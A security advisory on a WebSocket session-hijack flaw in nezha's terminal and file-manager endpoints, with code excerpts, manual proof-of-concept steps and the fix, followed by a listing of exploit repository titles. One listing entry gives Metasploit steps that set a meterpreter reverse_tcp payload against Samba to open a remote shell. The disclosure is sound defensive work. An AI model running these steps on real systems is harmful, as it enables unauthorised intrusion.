### Summary In nezha **v1.14.13–v1.14.14** and **v2.0.0–v2.0.9**, the WebSocket endpoints `GET /ws/terminal/:id` and `GET /ws/file/:id` authenticate the caller only by the presence of a valid stream UUID, with no ownership check tying that UUID to the user who created the stream. Any authenticated dashboard user (including a `RoleMember`) who learns a live stream UUID can attach to the session and gain interactive shell access or full file-manager control on the target server — i.e. cross-tenant RCE. This was silently fixed in commit [`6661d6a`](https://github.com/nezhahq/nezha/commit/6661d6a7fc1c269f55c7f4e775082ad23fbe0f54) (2026-05-18, shipped in v2.0.10). At submission time no public CVE/GHSA covers this fix, so operators of v1.14.x and pre-v2.0.10 v2.x deployments have no signal that they are running vulnerable code. ### Details **Stream allocation — `service/rpc/io_stream.go` (v2.0.9):** ```go func (s *NezhaHandler) CreateStream(streamId string) { s.ioStreamMutex.Lock() defer s.ioStreamMutex.Unlock() s.ioStreams[streamId] = &ioStreamContext{ userIoConnectCh: make(chan struct{}), agentIoConnectCh: make(chan struct{}), } } ``` No creator is bound to the stream. **Stream attach — `cmd/dashboard/controller/terminal.go` (v2.0.9):** ```go // @Router /ws/terminal/{id} [get] func terminalStream(c *gin.Context) (any, error) { streamId := c.Param("id") if _, err := rpc.NezhaHandlerSingleton.GetStream(streamId); err != nil { return nil, err } defer rpc.NezhaHandlerSingleton.CloseStream(streamId) // ... WebSocket upgrade and bidirectional pipe ... } ``` The only authorization check is `GetStream(streamId)` — "does this UUID exist in the in-memory map". `getUid(c)` is never compared against the user who called `createTerminal`. The same pattern is present in `fmStream(c)` in `cmd/dashboard/controller/fm.go`. **Where the UUID leaks:** `createTerminal` returns the UUID to the legitimate client, which then opens `wss://<dashboard>/ws/terminal/<UUID>`. As a URL path component the UUID is exposed via: - Reverse-proxy access logs (nginx, Caddy, Cloudflare). - Referer headers when the page embeds external resources or error reporters. - Browser history / bookmark sync. - Frontend telemetry (Sentry, Bugsnag) breadcrumbs that include the WebSocket URL. - Any shared-tenant or multi-operator log viewer. Any authenticated user with access to one of these side channels can attach to a live session. ### PoC 1. Deploy nezha v2.0.9. Add at least one server. Configure two accounts: `admin` (RoleAdmin, owns the server) and `member` (RoleMember, no access to that server). 2. As `admin`, open the web terminal for the server. The browser opens `wss://<dashboard>/ws/terminal/<UUID>`. Capture this UUID from the network inspector, server access log, or `Referer` header. 3. From a separate session logged in as `member`, open `wss://<dashboard>/ws/terminal/<UUID>` (same UUID). The member's WebSocket attaches to the same `ioStreamContext` because `terminalStream` only checks `GetStream(streamId)` — no ownership check. 4. The member can now read the admin's shell output and inject keystrokes, achieving shell-level RCE on the target server, with no visible signal to the legitimate session owner. Same flow works against `/ws/file/:id` (file-manager hijack: arbitrary read/write on the target server's filesystem). ### Impact - **Severity**: Critical. Interactive RCE on a server administered by another user, with no audit signal to the rightful session owner. - **Attack complexity**: Low. The attacker needs an authenticated dashboard account (which any `RoleMember` is) and one captured UUID from a side channel. - **Confidentiality / Integrity / Availability**: all High. `/ws/file/:id` exposes arbitrary read+write on the target filesystem; `/ws/terminal/:id` is a full shell. This is the same impact tier as CVE-2026-46716 (cross-tenant cron RCE) and arguably worse, because the entry point is a passively-leaked URL rather than an authenticated POST — attackers do not need direct dashboard interaction once the UUID is leaked through logs or telemetry. ### Fix reference Already fixed in master by commit [`6661d6a`](https://github.com/nezhahq/nezha/commit/6661d6a7fc1c269f55c7f4e775082ad23fbe0f54) ("fix(rpc): bind io_stream sessions to creator to prevent terminal/fm hijack"): - `CreateStream` now accepts a `creatorUserID uint64` and stores it on the `ioStreamContext`. - New `IsStreamAuthorizedForUser(streamId, userID, isAdmin)` helper. - `terminalStream` and `fmStream` call this helper **before** the WebSocket upgrade and **before** the `defer CloseStream(streamId)`, so a rejected attempt does not tear down a legitimate stream. Shipped in v2.0.10 (2026-05-19). The v1.14 line has not received a backport. ### Why this advisory The fix landed silently. The other May 17–21 fixes received public GHSAs (GHSA-99gv-2m7h-3hh9, GHSA-rxf6-wjh4-jfj6, GHSA-hvv7-hfrh-7gxj, GHSA-w4g9-mxgg-j532, GHSA-6x26-5727-rrm9, GHSA-4g6j-g789-rghm) covering cron RCE, AlertRule trigger, telemetry leak, notification SSRF, DDNS SSRF, and agent forge-results respectively — but none cover the terminal / file-manager session hijack. This advisory closes that gap so operators of v1.14.x and v2.0.0–v2.0.9 know to upgrade. ### Recommended action - Publish this GHSA so v2.x operators below v2.0.10 see the alert in their dependency scanners. - Either backport `6661d6a` to a v1.14.15 release, or mark the v1.14 line end-of-life in `SECURITY.md` so operators understand the support boundary.
PoC: CVE-2025-8110
PoC exploit for CVE-2025-8110
PoC: root-sonim-xp3800
app that ports CVE-2019-2215 to arm32 and mounts a su binary to /sbin with denylist + root app installer. firehose/Magisk guide included
PoC: katana
Let's hijack our bootchain - CVE-2021-30327
PoC: CVE-2026-24418
OpenSTAManager v2.9.8 and earlier contain a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module.
PoC: OpenSTAManager-RCE-Exploit-CVE-2026-38751
OpenSTAManager-RCE-Exploit-CVE-2026-38751
PoC: pagecache-lpe-containment-kit
Educational, defensive kit for two Linux page-cache-corruption LPEs (DirtyClone CVE-2026-43503, pedit COW CVE-2026-46331): hardening, detection, verification, seccomp + validation harness. Detection and prevention only — no exploit code. TLP:CLEAR.
PoC: By-Poloss..-..CVE-2026-12432-PoC
WP Full Stripe Free <= 8.4.3 - Missing Authorization
PoC: CVE-2026-43499
CVE-2026-43499 PoC
PoC: CVE-2026-20251
CVE-2026-20251 — Splunk Secure Gateway jsonpickle deserialization RCE (CVSS 8.8) | ReactiveZero Security Research
PoC: pdf.js-CVE-2024-4367
SCAN END POC THE CVE-2024-4367
PoC: CVE-2026-31694-POC
Linux kernel FUSE readdir cache out-of-bounds write (CVE-2026-31694): a malicious FUSE server overflows a page-cache page by 24 bytes. PoC plus an unprivileged local-root exploit via /etc/passwd page-cache corruption. Run only inside a VM.
PoC: IS
Ovaj sto se skida isto ovaj s metasplotiom kucas msf console pa onda search CVE-2017-7494 pa use exploit/linux/samba/is_known_pipeline pa show options pa set RHOSTS (ip servera) set RPORt 445 (port za tu ranjivist) SET payload linux/x86/meterpreter/reverse_tcp SET LHOST ip kalija SET LORT 4444 pa exploit i ako je ranjiv dobijemo sesiju
PoC: CVE-2026-46331
Chequeo y Fix de la vulnerabilidad "pedit COW"
PoC: CVE-2025-45422---Bbox
CVE-2025-45422: Proximus b-box UPnP Persistence & Access Control Bypass
PoC: CVE-2026-10580
PoC exploit for CVE-2026-10580 - Authentication Bypass in Hippoo Mobile App for WooCommerce <= 1.9.4 leading to Admin Account Takeover
PoC: CVE-2026-56121-Feast-Unauth-RCE
CVE-2026-56121 — Feast <0.63.0 unauthenticated RCE via gRPC registry dill.loads of OnDemandFeatureView UDF (pre-auth). Lab + PoC, verified e2e.
PoC: CVE-2026-46817
CVE-2026-46817 - Draft
PoC: CVE-2026-8037
CVE-2026-8037 - Draft
PoC: CVE-2026-27626-PoC
OliveTin is a self-hosted web UI for exposing predefined shell commands to end users. This repository contains a proof-of-concept demonstrating two independent OS command injection vectors in OliveTin's Shell mode execution path, both of which bypass the application's intended shell-argument safety checks.
PoC: cve-2024-31317
Detailed discussion of Zygote vulnerability CVE-2024-31317
PoC: CVE-2026-43700
https://support.apple.com/en-us/127685#:~:text=2026%2D43704%3A%20dr3dd-,WebKit,-Available%20for%3A%20macOS
PoC: CVE-2026-44789-n8n-PrototypePollution-RCE
CVE-2026-44789 — n8n <1.123.43 HTTP Request pagination prototype pollution to RCE (NODE_OPTIONS runner-spawn gadget). Lab + automated PoC, verified e2e.
PoC: CVE-2023-43364-Searchor-RCE-Exploit
POC exploit via unsafe `eval()` usage in Searchor (≤ 2.4.2)
PoC: CVE-2026-46817
CVE-2026-46817
PoC: cve-2026-46331-audit
cve-2026-46331-audit script
PoC: CVE-2026-56782-Gorse-Auth-Bypass
CVE-2026-56782 — Gorse <0.5.10 unauthenticated DB dump/restore (admin_api_key fail-open). Lab + PoC, verified e2e.
PoC: cve-2026-0000-reference
NIST CVE-2026-0000 Keylogger Analysis
PoC: CVE-2026-48907
CVE-2026-48907 – Joomla JCE Unauthenticated Remote Code Execution (RCE)
PoC: CVE-2026-53753-Crawl4AI-RCE
CVE-2026-53753 — Crawl4AI <0.8.7 unauthenticated RCE (AST sandbox escape via gi_frame.f_back). Lab + PoC, verified e2e.
PoC: cve-2023-4911-exploit-optimized
Pure C exploit for CVE-2023-4911 (Looney Tunables). No Python required. Features multi-processing brute-forcing, dynamic calibration, and integrated ELF parser.
PoC: CVE_2024_1086_vulnerability_check
CVE-2024-1086 vulnerability
PoC: CVE-2026-43503
DirtyClone - local privilege escalation (LPE) proof-of-concept targeting a kernel/XFRM-related vulnerability described in the source as CVE-2026-43503
PoC: cve-2026-9082-drupal
drupal-postgresql-rce
PoC: graylog-cve-2024-24824-exploit
Proof-of-concept exploit for CVE-2024-24824 demonstrating how an arbitrary class loading primitive can be transformed into remote code execution on vulnerable Graylog deployments.
PoC: CVE-2026-55200
CVE-2026-55200 - Critical libssh2 Remote Code Execution Vulnerability
PoC: By-Poloss..-..CVE-2026-48939
iCagenda Unauthenticated File Upload to RCE
PoC: cve-2025-0133
CVE-2025-0133 Scanner | Palo Alto GlobalProtect XSS Checker
PoC: CVE-2026-22226
Proof of Concept for the CVE-2026-22226
PoC: CVE-2026-20253
POC for CVE-2026-20253
PoC: Joomla_CVE_2026_48907
cve-2026-48907 scanner
PoC: DirtyClone
Python Proof of Concept for DirtyClone (CVE-2026-43503) - Linux kernel LPE via page-cache corruption
PoC: WiseDelete
Windows utility that demonstrates user-mode interaction with the vulnerable WiseDelfile64.sys driver and uses CVE-2025-66680 to perform kernel-assisted file deletion.
PoC: CVE-2025-55182-React2Shell-RCE
React2Shell (CVE-2025-55182) PoC
PoC: CVE-2026-48908
Unauthenticated RCE PoC for CVE-2026-48908 SP Page Builder (Joomla) arbitrary file upload and remote code execution exploit with mass scaning support.
PoC: WiseDelete
A lightweight Windows utility demonstrating user-mode interaction with the vulnerable WiseDelfile64.sys driver using CVE-2025-66680 to perform kernel-assisted file deletion.
PoC: CVE-2026-23918-Double-free-Apache-httpd-mod_http2
Double-free in Apache httpd mod_http2 stream cleanup leading to pre-auth RCE
PoC: CVE-2018-18778
CVE-2018-18778 - ACME mini_httpd Arbitrary File Read
PoC: CVE-2023-0386-OverlayFS
Copy fake in-memory files to disk using overlayFS
PoC: CVE-2026-49048-JoomCCK-SQLi
CVE-2026-49048 — JoomCCK 6.4.0 Unauthenticated SQL Injection (CVSS 9.8)
PoC: crypto-lab-merkle-proofs
Browser-based Merkle tree demo — build a tree, generate inclusion proofs, recompute the root hash by hash, and replay the RFC 6962 second-preimage and CVE-2012-2459 attacks. Real SHA-256. No backend.
PoC: react2shell-exploit
React2Shell: CVE-2025-55182
PoC: CVE-2026-12485
CVE-2026-12485
PoC: DevHub-HTB-Walkthrough
Hack The Box - DevHub Machine Walkthrough (Medium Linux, CVE-2026-23744, Chisel Tunneling, Jupyter, Root Privilege Escalation)
PoC: CVE-2026-41179
POC for CVE-2026-41179
PoC: dirtyclone-exploit
CVE-2026-46331 — Linux Kernel Local Privilege Escalation TC pedit + IPsec TEE Page Cache Corruption · Affected kernels: ≤ 6.12.9
PoC: CVE-2026-27654
Обзор n-day уязвимости на русском языке.
PoC: CVE-2026-41940-PoC
CVE-2026-41940 authentication bypass vulnerability proof-of-concept
PoC: laravel-filemanager-unrestricted-upload
PoC for CVE-2025-56399 - Unrestricted File Upload leading to RCE in alexusmai/laravel-file-manager (≤3.3.1). Automates detection, CSRF extraction, and File Upload
PoC: DirtyClone
DirtyClone - local privilege escalation (LPE) proof-of-concept targeting a kernel/XFRM-related vulnerability described in the source as CVE-2026-43503
PoC: CVE-2025-69212-Authenticated-RCE-PoC
Automated PoC for CVE-2025-69212 - OpenSTAManager <=2.9.8 authenticated RCE
PoC: ffmpeg-jellyfix
patched ffmpeg-tools for jellyfin to patch CVE-2026-8461 aka PixelSmash
PoC: prefect-cve-2026-5366
PoC for CVE-2026-5366: git argument injection in Prefect's GitRepository leading to RCE on the worker.
PoC: CVE-2026-0073-Android-ADBD-bypass-POC_zh_CN
CVE-2026-0073-Android-ADBD-bypass-POC汉化版
PoC: CVE-2026-48907
CVE-2026-48907 is a CVSS 10.0 pre-auth RCE in Joomla Content Editor affecting all versions ≤ 2.9.99.4. The Grayxploit team breaks down the 3-weakness chain — missing auth, no extension validation, and an unsafe upload flag — that lets attackers pop a shell in 3 HTTP requests.
PoC: htb-orion-writeup
Hack The Box - Orion (Easy) | CVE-2025-32432 & CVE-2026-24061
PoC: CVE-2026-36834
Out-of-bounds array read in LibRaw
PoC: masta-cve-2026-48907
cve-2026-48907 scanner
PoC: CVE-2026-46331
CVE-2026-46331 - Draft
PoC: CVE-2026-8932
CVE-2026-8932
PoC: CVE-2025-58434-Flowiseai-Auth-Bypass-PoC
Flowiseai Flowise Auth Bypass Vulnerability Proof of Concept
PoC: CVE-2026-46331
CVE-2026-46331
PoC: CVE-2026-12415-or-CVE-2026-12416.py
CVE-2026-12415-or-CVE-2026-12416.py
PoC: By-Poloss..-..CVE-2026-39938
Cacti <= 1.2.30
PoC: smbghost
scanner for CVE-2020-0796
PoC: CVE-2026-26980-PoC
Ghost CMS Content API Blind SQL Injection
PoC: CVE-2026-46558
Plane’s V2 asset subsystem trusted workspace slugs and asset UUIDs without enforcing the right membership checks, which let one authenticated user read, copy, delete, and overwrite assets in other workspaces.
PoC: CVE-2026-45806
Penpot's remote image import let an authenticated file editor turn a normal media convenience feature into backend-origin SSRF because attacker-controlled URLs crossed into a redirect-following server fetch path without destination filtering.
PoC: CVE-2026-45806
Penpot's remote image import let an authenticated file editor turn a normal media convenience feature into backend-origin SSRF because attacker-controlled URLs crossed into a redirect-following server fetch path without destination filtering.
PoC: CVE-2026-42089
A local package installation helper trusted caller-supplied package names too much. In yeoman-environment, missing generators could be installed without user confirmation, turning attacker-controlled project metadata into a package-install and code-execution path.
PoC: CVE-2026-34207
The SSRF filter checked hostname text, but the actual destination was decided later by DNS. That gap let attacker-controlled Webhook URLs reach loopback, metadata, and private network targets.
PoC: CVE-2026-34213
A low-privileged Docmost user could supply a victim attachmentId to the generic upload endpoint and overwrite another page's stored attachment inside the same workspace.
PoC: CVE-2026-34212
Docmost accepted a javascript: URL inside an attachment node, preserved it through storage and rendering, and turned it back into a clickable anchor in the Docmost origin.
PoC: CVE-2026-33146
A public share looked clean in the page tree, but the search endpoint told a different story. In Docmost, restricted child pages hidden from public share viewers could still leak through public share search results.
PoC: CVE-2026-54807
CVE-2026-54807 WooCommerce Privilege Escalation ║ ║ Unauthenticated Admin Role Assignment via Reg. Form
PoC: metasploitable2-exploitation-metasploit
Full Metasploit exploitation walkthrough against Metasploitable2 — vsftpd backdoor, Samba CVE-2007-2447, UnrealIRCd backdoor, Netcat exfiltration, and credential cracking prep.
PoC: CVE-2026-8461
CVE-2026-8461
PoC: Amaranth-Project
CVE-2025-8088 exploitation chain + Quasar C2 multi-stage payload delivery
PoC: CVE-2026-13036-PoC
PoC for CVE-2026-13036 — Use-after-free in Blink WidgetBase::UpdateSurfaceAndScreenInfo (Chrome < 149.0.7827.197)
PoC: CVE-2026-24207-triton
PoC + analysis for CVE-2026-24207 / CVE-2026-24206 — NVIDIA Triton SageMaker & Vertex AI auth-restriction bypass + RCE chain
PoC: CVE-2026-26980-Ghost-CMS-Api
CVE-2026-26980 - Ghost CMS Content API SQL Injection
PoC: CVE-2026-43503
CVE-2026-43503
PoC: CVE-2026-55584
CVE-2026-55584 — phpSysInfo IP Allowlist Bypass
PoC: CVE-2023-45866---Blue-exploit
POC for CVE-2023-45866 affecting Latest Android devices.
PoC: CVE-2025-61155
CVE-2025-61155 — arbitrary process termination in GameDriverX64.sys (Tower of Fantasy anti-cheat). Original IDA Pro teardown, PoC, YARA, IOCs, mitigation.
PoC: CVE-2026-4253-Scanner
Non-destructive vulnerability scanner for NGINX HTTP/3 (ngx_http_v3_module). It ONLY performs a safe probe: opens an HTTP/3 (QUIC) connection, sends a single HEAD request and inspects the `Server` response header. It NEVER attempts to reopen a QPACK encoder stream or trigger the use-after-free.
PoC: CVE-2026-23111
Linux Kernel nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC
PoC: CVE-2026-7574
CVE-2026-7574
PoC: cve-2019-9053-py3
Unauthenticated time-based blind SQL injection exploit for CMS Made Simple ≤ 2.2.9 (CVE-2019-9053), ported to Python 3.
PoC: CVE-2025-67038
CVE-2025-67038 - Draft
PoC: CVE-2026-53075poc
POC of CVE-2026-53075
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
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